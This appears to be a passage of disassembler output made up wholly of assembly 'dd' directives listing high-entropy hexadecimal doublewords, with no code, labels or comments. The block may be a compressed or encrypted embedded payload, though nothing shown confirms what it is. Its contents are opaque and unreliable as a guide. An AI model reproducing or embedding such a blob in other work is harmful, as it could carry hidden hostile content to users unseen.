		dd 7F540E6h, 992E0185h,	82454D00h, 8D203358h, 0E0D0039h
		dd 0A8A7885Dh, 7500E77Bh, 0CBF338BAh, 33EF99h, 28906BC2h
		dd 0ADC5B6FEh, 1C0060FEh, 0DDC3BD6Ch, 720ECF50h, 0EE4816F8h
		dd 0FBFEC46h, 6067B8A3h, 9E186909h, 26BD00B0h, 0D0DD19CFh
		dd 5400244Fh, 222CF16Ch, 7FB1282h, 0E932C1C6h, 5B7AC04Dh
		dd 0E0FB44BFh, 0CC039183h, 481F2673h, 40EAC8DFh, 1C5BB805h
		dd 9DB08E8Ah, 396F41F4h, 0F18502BCh, 3D2FFCF5h,	8F4C10DDh
		dd 0F592864h, 4184EBA7h, 0ABA2B200h, 9D005D86h,	0D953D725h
		dd 7366DDB5h, 15A70C1h,	0B1D0130Fh, 0D0772AC9h,	7618BE71h
		dd 0F672A0DBh, 0E08B6070h, 5A7F8D91h, 3C895400h, 38DB636Ch
		dd 0AF550002h, 0BC44F1DCh, 84007BE3h, 0F437F511h, 0D16DD4h
		dd 2C2B01F3h, 0E2AED0B1h, 0E9BA98C6h, 32970008h, 0D4E7FBE1h
		dd 65019051h, 3B867C08h, 36DC5BCDh, 0ADE9002Ah,	9F3C17B9h
		dd 0B30B52E6h, 8066BC38h, 1075D720h, 0D197005Bh, 7379D284h
		dd 5A035150h, 4CEDDD9Ch, 0E8690EF3h, 0F0E0D41Dh, 0CE55B92h
		dd 0B300D67Eh, 0D02EA6A1h, 3574CB19h, 8031DE87h, 6386F7D9h
		dd 0E5002DEAh, 0A211F660h, 753ABEE4h, 0B974C6h,	9CAF91F1h
		dd 745B1B79h, 0CD17F00h, 950FC6EAh, 48840041h, 9D432F55h
		dd 6301017Ch, 1D513221h, 89D5496Ch, 0E1CFB881h,	0EBAD5AB7h
		dd 799DBFC0h, 1E650512h, 0B6B2A600h, 242B7DDh, 0F7788BC4h
		dd 0A4A0D416h, 36490CCh, 22651209h, 20B0017Dh, 0A7E48FC4h
		dd 84F47Ah, 0C5CEE6A4h,	7F5DD427h, 4004CF1Fh, 0F43666C0h
		dd 38A9560Ch, 38805487h, 0CD772669h, 52EAED40h,	289CACA0h
		dd 0C951D600h, 0BED86775h, 0E30804DCh, 8050EDF0h, 6E6A8E5Eh
		dd 0DE8FB000h, 25EE56E9h, 0A7175132h, 7B398E0h,	0C46D8995h
		dd 0B6BA5007h, 371E2CC2h, 80406254h, 9F562732h,	0B0E70FECh
		dd 401D1E1Bh, 4C2BFD3h,	0BB0040C3h, 8107A4B8h, 9DF65DEh
		dd 8801FAA2h, 20F5B400h, 0D71E4D51h, 80BB44DCh,	0B01AC3F8h
		dd 3FE981h, 4EEEC7Bh, 0F57E3075h, 0A1B28003h, 98B8465Eh
		dd 0E2B6BBF3h, 9B6A0066h, 20EA1849h, 5300E73Fh,	990CADA8h
		dd 0B012E3ECh, 0F361036Fh, 1BC1C205h, 9802F9E0h, 9DB42E00h
		dd 7D91F813h, 0E970EE9h, 88005608h, 0EC90D531h,	0F2007A72h
		dd 0EA120DA5h, 0A00F95A2h, 40984D2Ch, 593B1E53h, 205CC0DFh
		dd 1411B56Ch, 0C43CDE90h, 318887B8h, 0A9419951h, 0B1001848h
		dd 818898DEh, 212576C3h, 22B81A05h, 0ED501148h,	3173487Ah
		dd 0A68D5891h, 19EC2508h, 84E93D80h, 0F0E2AEB0h, 9C96051Eh
		dd 301E842Ah, 1302BE26h, 2368FA4Ch, 58A63D38h, 0A98C921h
		dd 9884236Dh, 96E759B9h, 5197F030h, 9572FEh, 0AD9217B8h
		dd 24A78782h, 1458F095h, 0C4F35FF7h, 74EE6B03h,	7804E8EDh
		dd 0DF696003h, 0D86154BCh, 0D09B8B53h, 0E5602992h, 0DFDB070h
		dd 1688C091h, 7178365Fh, 7600F9E0h, 391107B4h, 63676A5Eh
		dd 5CEE30BDh, 804DE0D8h, 87047377h, 7F0B24CFh, 9D8E6C90h
		dd 0E750FB8h, 10278426h, 0CB60D002h, 8307E0AFh,	13906112h
		dd 585CBFC1h, 1689B840h, 78F60651h, 48BB080Bh, 3492A771h
		dd 97A1C900h, 0BA2CA64Bh, 0B5260BE6h, 4A008DE2h, 0C23D643Ch
		dd 7EBD1914h, 0EDEF0094h, 7A2D613Ah, 5381006Ch,	63310F4Eh
		dd 7E00AE49h, 0A262D510h, 1540918Ch, 0B8AFA973h, 0B9D4B500h
		dd 679071F0h, 9AB05E01h, 0EA8AE23Dh, 0DAC0BB40h, 37DF849h
		dd 2F123880h, 0CEE39402h, 470F4000h, 0B223AE0h,	6E2718F3h
		dd 82A7909Bh, 60EC08CFh, 0E5E74C5h, 1811E83Ah, 3035CEBFh
		dd 35B09C6Ch, 778C6949h, 1706049h, 0C74E4798h, 0DFF4AAE7h
		dd 6920F5Fh, 0E50AE124h, 3BC28004h, 0A6F65232h,	6B1C9600h
		dd 476870B4h, 766A1E28h, 0E2310383h, 0F898E780h, 750ECE59h
		dd 0C0749C19h, 0EFF73A81h, 6FAA0060h, 439BAB25h, 370009DEh
		dd 5977240Dh, 0D4BE49h,	5DAD791Bh, 0B42B20C8h, 0EE7F7100h
		dd 74AAC0A0h, 9E03009Dh, 0CDB0440Ch, 19771A6Eh,	201F798h
		dd 0E6C08B6Dh, 85EC1BFDh, 77B90757h, 401EF9B5h,	45757B8Ah
		dd 87A36903h, 80D4E3EDh, 0F23598h, 59EFC30Dh, 82650A4Bh
		dd 6AE1FC00h, 33B62608h, 0B07491h, 24BB8BE0h, 0F154B2D2h
		dd 0AF3F9000h, 0A4D0622Bh, 33430418h, 0C75B539Ch, 4AC380F9h
		dd 210077F7h, 0CB4BF9A6h, 0E727360h, 0B9DABFF0h, 7A5B7C3h
		dd 0C2E3F6E8h, 380009F6h, 8D5AA70Ah, 2DFA1Dh, 0AC873F7Dh
		dd 0F1C6E155h, 0E0AEA11Ch, 0F02F6743h, 73FCC06Ch, 0B227D30h
		dd 46BA21CEh, 27988D03h, 44B982A3h, 0CBA0505Ah,	0DB004380h
		dd 2296C3A3h, 77B77D3h,	8707E127h, 0B068E7CEh, 0A86EB4D6h
		dd 8C214400h, 336F34AFh, 0FE81003Ah, 0AEB92F06h, 66073231h
		dd 7154F01Bh, 2E63A6B0h, 67C800C1h, 797D97FEh, 0B70069E5h
		dd 1420C426h, 0D3F2A5h,	4DF03B8Bh, 0E64D705h, 0A947900h
		dd 0E10993ADh, 3786304Ah, 5EF30711h, 0EB7470F4h, 64154200h
		dd 7D4FA7D4h, 0A560030h, 9C7258A0h, 0EF1C2807h,	6080EE8Bh
		dd 0F1680678h, 0ED1200CDh, 3C11DAA4h, 0A792654h, 98EC1B02h
		dd 80903068h, 795FF8E8h, 0C8380702h, 0F0060D75h, 18A85A42h
		dd 6CF38106h, 66930h, 2B72B722h, 0F16BDED2h, 0A802F703h
		dd 80A0A9ABh, 2F5CC0h, 9A872571h, 1812B90Bh, 60AABA01h
		dd 883261B2h, 1D9EE7F4h, 804F2054h, 0FAF170Ah, 100941Ch
		dd 52800289h, 310C09AEh, 0EEE04C53h, 0C1EAE445h, 186E1F0Eh
		dd 49952317h, 0A0EF989Bh, 0C2D80286h, 9A476CD4h, 0F1A68440h
		dd 56EAEE00h, 2A02A40Bh, 0EAAE9061h, 711F00E9h,	0CD8B0E8Ah
		dd 3300445Ah, 487A23D2h, 0EA483D1h, 0C0F2CF6Fh,	80828564h
		dd 1D2109F8h, 5D70B700h, 0EECB5FBDh, 0C8E43C5Ah, 5EEAB08Fh
		dd 47D609A3h, 596899E0h, 67FB8400h, 0DA890228h,	832101D0h
		dd 4469ECF9h, 1A9C4087h, 0CD1D358Fh, 0F300914Ch, 534B66D1h
		dd 610E031Ch, 0FB392970h, 19FF97B8h, 0A628F400h, 99827DF3h
		dd 38560042h, 0B1EAB5C9h, 55007A21h, 0CDEB4A20h, 52A0EDh
		dd 850CF29Ch, 0CE22A23Fh, 15708049h, 5A0A36Ah, 67890ADCh
		dd 0E7D8F440h, 2C46417Ch, 69D633h, 3F14A1E6h, 0E300C33Ah
		dd 822C9791h, 0F4D4105Fh, 213000E0h, 14C47454h,	0E40FDFB4h
		dd 8038623Eh, 870FDA05h, 57210024h, 9175E07Eh, 747428EAh
		dd 3B95A300h, 79B131BEh, 5CF0A9h, 70DEB8A1h, 5DEC5213h
		dd 958CFC1Fh, 0C011FD40h, 7B9F1Ch, 5B6EA19Ch, 0EFF67776h
		dd 0ADBCCD07h, 0D370D841h, 0B8DC2A86h, 7DB02E8h, 1E5076EDh
		dd 0D808D860h, 41FCB100h, 34A0E9C5h, 8A792Fh, 71938778h
		dd 0D2E57D58h, 7014FD02h, 406EFEEAh, 0E7C21C8h,	0F0613EFBh
		dd 9E109B00h, 7A09698Ch, 0A0032B4Eh, 0E7AFDA04h, 0E2D8013Fh
		dd 9006A49Bh, 27A0FCB1h, 465CD00Ah, 8301BCDEh, 6F400548h
		dd 717072FCh, 9763008Ah, 0E75E0C9Dh, 0F897CF4Bh, 3EB0B03Bh
		dd 3E004548h, 0EA07F19Eh, 75007697h, 0C22FEBB0h, 7716BCEh
		dd 0BCEE53D8h, 4A9A5023h, 0D503BB47h, 0F19D3D72h, 0A9D6986Fh
		dd 48B0001h, 0B9C7903Bh, 0CE39716Ch, 0D5B4071Fh, 0F9806D77h
		dd 719EDADh, 367E25ACh,	0D0829409h, 39BD859Ch, 0F0B71200h
		dd 63AA8EFDh, 1EE7803h,	98A2C29Bh, 3159F309h, 7B9820C8h
		dd 9E2CC53Eh, 982C3827h, 0D0B81E00h, 0EEA556h, 85482897h
		dd 0C2A37A78h, 0AF11200h
		dd 0B18CA47Ch, 1405004Fh, 0EA6E6164h, 0AD001363h, 0D72FECB6h
		dd 75E348A1h, 52071C96h, 7129405Bh, 9D828846h, 0BD254400h
		dd 64CBFBAEh, 11D84801h, 0D579007Fh, 1A9CED02h,	0A4070D81h
		dd 3B72096Eh, 4DEADA10h, 159D00C2h, 994C5804h, 4F48F219h
		dd 0A95F00DCh, 86357955h, 0A842001Fh, 1DA0EB60h, 0BD0002D3h
		dd 0CB2062E7h, 290D89h,	9AB777B1h, 0A2371443h, 6C2F6416h
		dd 94C200EEh, 495250C6h, 0F58F6F0Eh, 0F716079h,	0B8395FDh
		dd 0E1C2A5C0h, 7E659800h, 0B698056Ah, 508BD44Ch, 5303D226h
		dd 0ADF0B1D1h, 1880C4CAh, 149E4Dh, 0F9FE9647h, 0F366C2CCh
		dd 0E46C1100h, 0AC5BF60Bh, 8D3605E5h, 6D9656h, 0CE3F44E4h
		dd 800BAC1h, 41BEEC12h,	13AD74A1h, 403AFC3Bh, 8E251C44h
		dd 0D601AF90h, 5FCA1607h, 0BF08518h, 0CCE73DAEh, 41948E00h
		dd 0A5AA53F8h, 38611400h, 4F436278h, 34E400ECh,	0CE01040h
		dd 0FD0335B9h, 75C58453h, 0B845F0EAh, 0B07148B1h, 0CDF50777h
		dd 17D7519Fh, 6C1DE09Bh, 7A001A3Ah, 0A325D087h,	51EA82Ah
		dd 88F6420Bh, 3FC0D01Bh, 9E0157BBh, 63CC162Fh, 0C3E8B814h
		dd 0B5620275h, 84A20DE5h, 2AF0B463h, 11CB1DACh,	0DF6D0012h
		dd 3072470Ch, 8A3074DBh, 9E0BC6C4h, 0A0E75B55h,	457F0F0h
		dd 6B2E099Ah, 0F78F4F82h, 55E2005Fh, 72C23A07h,	8BF6AEA1h
		dd 7AAF30h, 9D64248Ch, 0BCEC035Bh, 0B9AB57E6h, 844207C2h
		dd 3E60C07Dh, 0FF6600CEh, 4562726Dh, 410026CFh,	2D3FA509h
		dd 1C9DBEB3h, 261AB28Ah, 597B18F6h, 6007F659h, 4C321B7Ah
		dd 2F444D80h, 0D8F400B8h, 3E6E5221h, 0F6759450h, 0D79DA103h
		dd 84F3D2Ah, 3132C3A1h,	5DC1E100h, 14E52FBh, 4B01F45Bh
		dd 4128A490h, 42B0F710h, 80A08D1Ch, 0AFB987A6h,	3D215000h
		dd 75FDD9E4h, 672F2E48h, 0FF803994h, 330F5D78h,	0C63FD195h
		dd 0AB8280CDh, 8B1425B0h, 3C023D80h, 6E41E802h,	4A603F4Dh
		dd 5600CE11h, 0FDD1C281h, 323D28h, 13A8EA50h, 91F420BCh
		dd 0B60708FAh, 81D88F03h, 0B405290h, 1C981CA8h,	6AEE4007h
		dd 51E54A3Eh, 0E679DC00h, 92A816D3h, 0C9956029h, 43B947A0h
		dd 4D00B377h, 4617C40Bh, 75C661Dh, 5F6B7DDh, 0CE6C10B4h
		dd 0FD01EEA6h, 46F0270Ch, 72F801F5h, 7A300373h,	222F81B6h
		dd 0A79029D0h, 8CE5A800h, 0E2DCD852h, 69270031h, 0F4E77499h
		dd 661DD72Ah, 6E4DE6CEh, 0EEEC88E0h, 5777009Ch,	604763BAh
		dd 2278A827h, 4EC939h, 0DB03E5C7h, 302A9ED1h, 61C0587Bh
		dd 0AC00A6DEh, 42F5B293h, 5C734155h, 77812FBh, 35D22E49h
		dd 0C9BD774Eh, 4052D80Fh, 0ABC28E64h, 58074BC7h, 0E6BE6BE8h
		dd 0A0108370h, 1C7714h,	0CD7DA567h, 94E2447Ch, 4EAAD500h
		dd 0B3B5C2D2h, 98D47C47h, 9B88C0F0h, 5356A018h,	58EC1700h
		dd 22C50C28h, 0EF7E32A4h, 4968B10h, 393AA21Ch, 0DF707BEh
		dd 0DE10A150h, 78946BBh, 5B4C604Eh, 9F1630BDh, 810C3576h
		dd 2969C8F8h, 134D40F7h, 0B900A4EAh, 0DD1A33DFh, 5425ABh
		dd 0FE482780h, 57F822F0h, 0E8E9300h, 3B5E8F9Dh,	58060074h
		dd 0F2B2EE1Bh, 0E300247Ah, 0B0E8312h, 0BB45D6h,	4D320C7Eh
		dd 6DE516FBh, 0B3656207h, 12E07801h, 0EFD124h, 0A4B105DDh
		dd 5B8956A5h, 19B2302Ch, 68AABC00h, 0E8C033h, 77571DE4h
		dd 0F4C9DDA1h, 0FC970D01h, 859A1788h, 3A78120h,	9B09024Dh
		dd 5DE25F51h, 73C18980h, 0E95675Ch, 450013ECh, 358FD1CCh
		dd 49A0A084h, 0E46603E2h, 3F45B57Ch, 0CB8E2EB8h, 0D0B2B70Eh
		dd 1198F1Bh, 4F0BC179h,	0E32770h, 0F3570D67h, 3147E7F9h
		dd 0B15DD902h, 0FF36B5D3h, 0A1CA6060h, 9BC90E1Eh, 2F714D40h
		dd 747EF98h, 29067BC0h,	0D8004EFBh, 59BFACBAh, 831DEC01h
		dd 1B8F4A41h, 71D2D8h, 2C5BF79Fh, 57348673h, 0CD07B60Ch
		dd 7E8BB9EDh, 51DF03E6h, 88E19056h, 251D9087h, 38FA7E77h
		dd 0FD90C01h, 0B73EF02h, 4150D051h, 2C5F91D0h, 58A37Dh
		dd 3C8D7F58h, 0B37BDD93h, 83DA0C00h, 0CA496FBFh, 0D0741FACh
		dd 7CAE009Eh, 0F71ABDCEh, 0ED3E8603h, 0F899FD30h, 0B285CFh
		dd 773C3466h, 6FF3B158h, 5BDC0D04h, 60902232h, 901C2B43h
		dd 34FB492Ch, 0BD36D500h, 0CB0A8FADh, 1832C600h, 2BECA6Ah
		dd 0EB9800F7h, 68BD9AD3h, 0A3008F19h, 1024FA5Ch, 18C4E4DEh
		dd 0B0B4F20Ah, 4821CEA2h, 0CD92C073h, 3B002099h, 13296E4Ah
		dd 905B5AE0h, 9DFC0B4Ch, 7D00D897h, 628A8F60h, 0F3A77400h
		dd 0F595376h, 45C600C0h, 0BE933B9Eh, 5800F9A4h,	31161A77h
		dd 767D130Ch, 0E937005Ah, 42596F25h, 0A90070D3h, 60827972h
		dd 38EDE16Bh, 2D0B17F3h, 90004DC2h, 0F999951Dh,	0B4455700h
		dd 9B07E4E0h, 0C5C1007Eh, 0ABA4F4A3h, 0EE0019A0h, 3125A29Fh
		dd 0E4AD86h, 6AD07812h,	0BE0157AAh, 0E85026h, 3D49600h
		dd 1C60DEh, 6E889D5Fh, 556A6174h, 909B121Eh, 6CB2E500h
		dd 4EA62C4h, 0D9F2D828h, 0D0498088h, 0E901FB8Ah, 127824FDh
		dd 59B9CF16h, 0BCBFE100h, 86F18493h, 46AFBB00h,	346B1D15h
		dd 55830073h, 0FB648DC8h, 1400C778h, 40712CB5h,	6F5766h
		dd 1B4A2631h, 1553A064h, 0B7DA7300h, 0F722BFB6h, 0E3B0008Bh
		dd 0D30D6C8h, 0D87CEB69h, 3D155B07h, 6280B4F4h,	0EE8BDF37h
		dd 0B2BF005Ah, 63862CD3h, 0A200EEE4h, 9A024F13h, 88F971h
		dd 53C5DA1Eh, 0BF192DCDh, 8739DD00h, 31FABD7Bh,	0A2110018h
		dd 0B3CB880Fh, 7500D192h, 6B57595Ch, 0F40104EEh, 71902868h
		dd 2A510ED0h, 3EE00307h, 3A19104Eh, 61399800h, 0CE7874A3h
		dd 34BF3ECCh, 0C703DA3Ch, 377BED2h, 0E3F91AB8h,	0DCBD0201h
		dd 28598671h, 583F11F0h, 0EF07C555h, 6730C7ECh,	0D727B051h
		dd 3B0E82BBh, 6F04F52Bh, 6F850741h, 1B879005h, 0B6261A10h
		dd 5690089h, 42089E91h,	45007D43h, 68752EB5h, 15E087h
		dd 6D2F20BBh, 5AD7E903h, 0B8E29400h, 0F5D5774Bh, 0E44001Bh
		dd 10E1A3C3h, 1503EBFFh, 0C1238C2Eh, 1137B097h,	0C4540026h
		dd 0BDB1B29Bh, 6EF08549h, 8324AE39h, 0F05936A2h, 0A3AFD8D8h
		dd 314B8D6h, 10DB9FD4h,	4FC81794h, 0B658E8A2h, 0FB7900ECh
		dd 0AE042E0Dh, 704809ACh, 0C4804D1Eh, 5585D74Ch, 0B1E0A400h
		dd 9CFB3625h, 0F57600D3h, 0A0176711h, 561D81E6h, 2401BAFh
		dd 8BE543Ah, 0D8740296h, 0FEAC9ECAh, 472D2860h,	0AFE67316h
		dd 85922800h, 0E0C6E9h,	94B8A78Eh, 99DFBD38h, 6F5C3700h
		dd 5363EAFEh, 4F1E008Ch, 6EF57D59h, 8F00E3FBh, 436B40CEh
		dd 0E75BB1Ch, 0BC5ACFD7h, 1BB23100h, 387597C9h,	0C66BB500h
		dd 9366FA4Ah, 6FB1077Eh, 0F79311Dh, 0A8FE2DC0h,	0E717AF87h
		dd 8703D208h, 0B1DF7246h, 83F89B19h, 9D2D0156h,	53FB7B7Ah
		dd 5CCEC452h, 6337800h,	22C9AF76h, 0E4861228h, 2A8C00F6h
		dd 921877DBh, 0A2D94C07h, 0C990DAA8h, 0A345A5h,	236D07BCh
		dd 78C2761Fh, 0BADC5000h, 8140E9EFh, 0BB1400E6h, 4474D59h
		dd 65058092h, 0ECA31A88h, 0C1F81CD1h, 90C4E060h, 49DF003Bh
		dd 4AD648A2h, 0FF01122Fh, 0FA7EDD0Eh, 36CCE601h, 59C9095h
		dd 0E8DF3BFBh, 0E230803Ch, 11D432A1h, 556B0745h, 1C20CC89h
		dd 375D6AFh, 529C18E4h,	19A8815Bh, 7706022Dh, 0ED44F9C5h
		dd 0F07C88h, 8589C32Fh,	0E238D641h, 8B2CA61Fh, 51A0A902h
		dd 520F6010h, 0C7CBAE4h, 0D753DF70h, 0E107C1C8h, 0E0AE4180h
		dd 4C90240h, 0D813006Eh
		dd 0A45301CBh, 36006061h, 59388848h, 0F07EB811h, 1F570E0Bh
		dd 9CA310C7h, 5EF8C34Dh, 0B80043DBh, 90B5322Ch,	3009B682h
		dd 9D91E00Ch, 0F800D650h, 15DA6F83h, 3CF2D0Eh, 2FA77C16h
		dd 66D82253h, 4400693Bh, 8E5CCD76h, 6416DEh, 7A19F9B2h
		dd 0A5E53C4Ch, 0E05B5Dh, 602EFBD3h, 1479333h, 169E2940h
		dd 0D14D1D6Ah, 0B7D874A7h, 7E265E1Ch, 94694E00h, 1775F20h
		dd 0A292CFC2h, 0E4B42BC4h, 4900ED32h, 4876DA64h, 957B1C30h
		dd 56068680h, 6A0781B1h, 0A9A8E65Fh, 173E3230h,	9316003Ah
		dd 3FFAD9ACh, 10034B3h,	4609A033h, 6ACEBDh, 777E0D31h
		dd 2CFB835Ch, 0C0065200h, 0DF4C2089h, 548600EFh, 306CC50Bh
		dd 0DC07F79Ch, 0BB02EDD0h, 15B956F0h, 4D9516A8h, 8972002Eh
		dd 0F66D51EAh, 0CF4A8500h, 1E0C8C7Bh, 6E200F2Dh, 0B0A68EBCh
		dd 70B89AF9h, 0B400887Eh, 8028CDAEh, 0F0D869h, 1BEE6A7Ch
		dd 0FC8158ECh, 0ED95B503h, 0EB3BFD57h, 4CBDA0F2h, 39C00217h
		dd 4FEBB33Ah, 2574B881h, 2E03C4F5h, 0A655050Fh,	69F02127h
		dd 88601908h, 0D090001Bh, 558647C1h, 6007749h, 2E837153h
		dd 35446Ah, 0B89801E9h,	0C0A2728Ah, 0B87B3F33h,	33B11E3Ch
		dd 0D7840002h, 13BE152Fh, 8EBD8303h, 0A6B9E569h, 377F3018h
		dd 313F56E1h, 1C02F178h, 6272FE95h, 0F38491E1h,	0AB1C3F18h
		dd 8490CDB8h, 80BFF1C8h, 5653AC3Bh, 798C60h, 32F42F8Fh
		dd 91D1056Bh, 0DE2CB42Ch, 0D3E1D200h, 6D44EFh, 0C7204D77h
		dd 9A349D5Ch, 0E8B0A704h, 6180E68Fh, 38A09E9h, 0C9E72B9Eh
		dd 81CFD263h, 4061B479h, 33FA8199h, 3F013679h, 96BF11E3h
		dd 0E13B09FEh, 296CE419h, 75986500h, 0CBE92CECh, 9484058Ch
		dd 0AE27A2DAh, 11132500h, 2B82D7h, 0ADC1C5Bh, 241F617Ch
		dd 0D9B9840Fh, 0FD5440CFh, 0E2080Fh, 7A2C733h, 917D4898h
		dd 8400E578h, 309BBEC4h, 5E5CF6h, 92D5A169h, 0D91809A6h
		dd 0C4F84800h, 0D82CCEDCh, 0CC930146h, 982DCBBAh, 0EAB302Eh
		dd 2AC71601h, 0FA0BC8B1h, 2C9FFCC0h, 7A14B97h, 0D3589533h
		dd 0A8F8EB66h, 0B21F98C4h, 0A6C360B4h, 0A91C4974h, 6DE48861h
		dd 0FC8F0058h, 0CACFBA7Dh, 45009C8Bh, 0E0DA15ECh, 0E1D39F6h
		dd 91FBDCFDh, 7DF38E00h, 0D8C1D3DDh, 831BD68h, 6AACF16Ah
		dd 7A88CFC0h, 7FB80174h, 922DC6FCh, 8A25C846h, 86A13B0Eh
		dd 6A88C35Bh, 0E59DF958h, 4FE48BBh, 5F6DF27Ah, 0C9F0C0B1h
		dd 0E20159D2h, 17C696AEh, 0F0A0036Bh, 16230084h, 0B9DB20FAh
		dd 0F9804EF3h, 3FA8B89Ch, 75870BA1h, 617AE003h,	0E451A6EEh
		dd 192C7F38h, 422C567Dh, 2196D60Fh, 1899C6A3h, 4A4C8C8h
		dd 39ECE216h, 0C12E80F0h, 0A3B5A15h, 4B6F0059h,	7963224Ch
		dd 16F465h, 1B812DC9h, 0F7137E1Fh, 0B68DEE06h, 0D6F814h
		dd 0BA7FBC3Eh, 2D4E4B65h, 9294A813h, 18E63DB0h,	103B3417h
		dd 9101ECD2h, 8C9F4471h, 68DC82D8h, 0C063723Fh,	0F20C3AA1h
		dd 0FC0001A4h, 0E80F484h, 4C2B3Dh, 18E5B070h, 0C67868DBh
		dd 887C4674h, 2B558C03h, 0E883CE3Ch, 1F080451h,	40E07780h
		dd 0D5BA5C2Eh, 0F70C4A49h, 0B081DE7Ah, 0BB32306Fh, 0B061E1E9h
		dd 29A9250Fh, 2040FCA8h, 3CD63BC3h, 464B019Fh, 0E396FF7h
		dd 0CF2F210Fh, 12B030B8h, 3E03B1E4h, 24E327C1h,	7568E97h
		dd 0CE721C18h, 62861067h, 4C03422Bh, 0EA5B1A7Ah, 14EEF0CFh
		dd 30AA00F5h, 0D76EBF27h, 5CF1F8C8h, 0B028B904h, 5601B2FEh
		dd 69ABF4AEh, 1A70C302h, 0F27299h, 0ADEC12C2h, 4DD76B44h
		dd 48B58701h, 0AF8F1445h, 11867FCh, 81595DE9h, 0F8937E5Ah
		dd 0F1003410h, 4615CBFEh, 628871h, 0C125A7C9h, 7056217Bh
		dd 65B90400h, 6E9451D9h, 0F349001Ch, 0E5EBA245h, 9B000D5Ah
		dd 0C6FAEFACh, 34CDE3Ah, 67265648h, 1B8B3EDh, 0DC00BC2Eh
		dd 1FCA0262h, 2E59A7E4h, 1C0ACF73h, 134080ABh, 0D89A31DEh
		dd 0CD4BB202h, 0E02814F0h, 762619CAh, 1FA502BBh, 0D14E8F23h
		dd 70FDF641h, 0B7000EBCh, 0FE4E2C8h, 1EB677Eh, 2A536FCCh
		dd 0E038A233h, 64034B55h, 3DD6D7ABh, 89D800A5h,	0ECEE36D1h
		dd 770EBBD0h, 812C9557h, 0F23A923Dh, 2208C840h,	0A93200CFh
		dd 497FC3Fh, 0C81C165Fh, 0CD80A062h, 0F8AE641Ch, 0A2410048h
		dd 0ECE5BD17h, 45002DA3h, 30C89175h, 4808C4h, 96EAAA74h
		dd 90E6C13Dh, 4D09640Fh, 0D7C5E245h, 13D4E018h,	0E2600B6h
		dd 7AE8370Ah, 6EEF6D42h, 3DD1E0A0h, 4B0015FFh, 4D7C1B71h
		dd 680E73B0h, 0AAEDA0h,	0CD075990h, 33480782h, 0E07C4641h
		dd 0E2EB0AFBh, 13A43900h, 577488DBh, 0A3A64C64h, 0C0E1501Eh
		dd 0CF2A0176h, 0E00E78Eh, 0D7A0B98Fh, 0C0057245h, 0F6A4DC89h
		dd 0DD98CEC9h, 7071B12Eh, 8CF7CB00h, 3893934h, 5CDA01C8h
		dd 110030E0h, 0B89ACEC6h, 245427A3h, 0EC24B4h, 17165237h
		dd 0CC01E8D0h, 10EFB788h, 0B06B0BFBh, 2000194Eh, 23F7AD93h
		dd 3DC33ECh, 860503C6h,	66811D5Fh, 8CE8EF3Fh, 0AA00F7E8h
		dd 6DBE476h, 1D3B3770h,	80A69450h, 487A2D2Ch, 46070E31h
		dd 9054C087h, 811DA5C0h, 48B07ED6h, 2F075C63h, 0BEBFCCC7h
		dd 5676F5E1h, 0A2202094h, 506B4204h, 0B30B996Eh, 0F9C3700h
		dd 4800EC20h, 8B30904Bh, 4D0CE01h, 0FD59DC29h, 20CC87DAh
		dd 3F42E911h, 0B501B201h, 2813F938h, 92D2D0h, 0BFB8665Eh
		dd 0AF18457Bh, 352A200h, 8CBAE681h, 0A9130085h,	15C379E3h
		dd 99007D5Eh, 0B4D4E0F8h, 2B4945h, 8C8563ADh, 10D966E1h
		dd 11B1CE00h, 0AFC48E21h, 327E6DCh, 0AD6CCF3Bh,	67B0B941h
		dd 0E0E7D69Ah, 0F2E26680h, 0D6C0C35Eh, 503C38h,	5752860h
		dd 0D217999Ah, 0A4DE5B00h, 78944D6h, 38FA007Fh,	560D8FF2h
		dd 3E009367h, 34E3E6A8h, 3C61927h, 0E5DA2CD2h, 0F8E0AA46h
		dd 40E892Bh, 0E31B8BAEh, 0A8A4E322h, 1813D456h,	28D57D9Ch
		dd 2500A635h, 0C62E2262h, 132C9693h, 8FCE80h, 99352A1Dh
		dd 101C30F6h, 4780AA2Dh, 424BBE14h, 0C17C1EC5h,	173F00C4h
		dd 0E8A43626h, 0B9161204h, 0ED80AB3Dh, 0D550D0h, 17DF57AEh
		dd 0E766F0F9h, 7ABD3700h, 486E76FFh, 0EABA00B2h, 2D525101h
		dd 53F0AC23h, 5D0EA500h, 0AAEE6744h, 856600D9h,	8D6D79DEh
		dd 3A00C036h, 25E52C29h, 0C83844h, 0B7EA3D53h, 0F76C48D7h
		dd 7ADB4A03h, 0F9358A31h, 88C0B6B1h, 0C2C5071Fh, 0BB2365h
		dd 3437AE52h, 0C85F9E0Fh, 0D6AA407Ah, 7D79A5B8h, 998A00E6h
		dd 113ABA4Ah, 1B00446Ch, 8BD12C0Dh, 45F0CEh, 5CE2260Bh
		dd 71C8D858h, 0AC75BA09h, 7D6B008Ch, 0F260F9h, 0B7890BD2h
		dd 5C57991Dh, 21BA6700h, 0C24D1FBEh, 9D7962h, 95B47CE9h
		dd 7A4F6592h, 70488B00h, 4E4345AFh, 161C3990h, 5C780F80h
		dd 93272E51h, 557A5960h, 0A55DA7h, 4246669Bh, 0DCA93F6Ch
		dd 3C35B3Ch, 8848F284h,	0F8C9F0C2h, 8A5C260Ah, 3126005Ch
		dd 829EE1AEh, 0F603A33Dh, 9C62BCC0h, 173204BFh,	0EE803Ch
		dd 222C54A7h, 0E63CCF8Ch, 0BCF5856h, 8ECA1488h,	2D8F4C5h
		dd 0B4058EDDh, 912860DAh, 18B500C3h, 0D3708876h, 0E40F397Dh
		dd 21B3AF8Eh, 0C459A95h, 4C59B4E0h, 83000070h, 0EFCCDBC0h
		dd 0BA0FB83Ah, 0C00EB915h, 57BF4290h, 81E401F2h, 92C3CDA2h
		dd 0F3DD44Ch, 0B9C8C500h, 0FBA88F3Eh, 98A14EDh,	6009890h
		dd 0C0802D9h, 2C003022h, 0DC284EDEh, 605717h, 20422967h
		dd 28459E7h, 1BCFD3Bh
		dd 5316B8A3h, 2960929Ah, 0C0AB02D5h, 0B234E6F8h, 0F9E19661h
		dd 442297h, 368286BCh, 6246F9h,	8A4206A9h, 770EDA55h, 0BB7DC51Ch
		dd 0F633C4C0h, 0E45A61h, 0F7756912h, 0C6791F3Fh, 1E36AD00h
		dd 0F68211D6h, 91BB006Fh, 0D40DAF2h, 0EB008414h, 50FAAA06h
		dd 92A82Ah, 0D487E09Ah,	5CB17E0Eh, 8770CA39h, 7722FB5Dh
		dd 59F66900h, 4237060h,	0A5B307A9h, 6248073h, 7800DEDDh
		dd 0BD7D7113h, 0E0A1D2h, 0AB49DB4Fh, 2750C539h,	80B61E3Dh
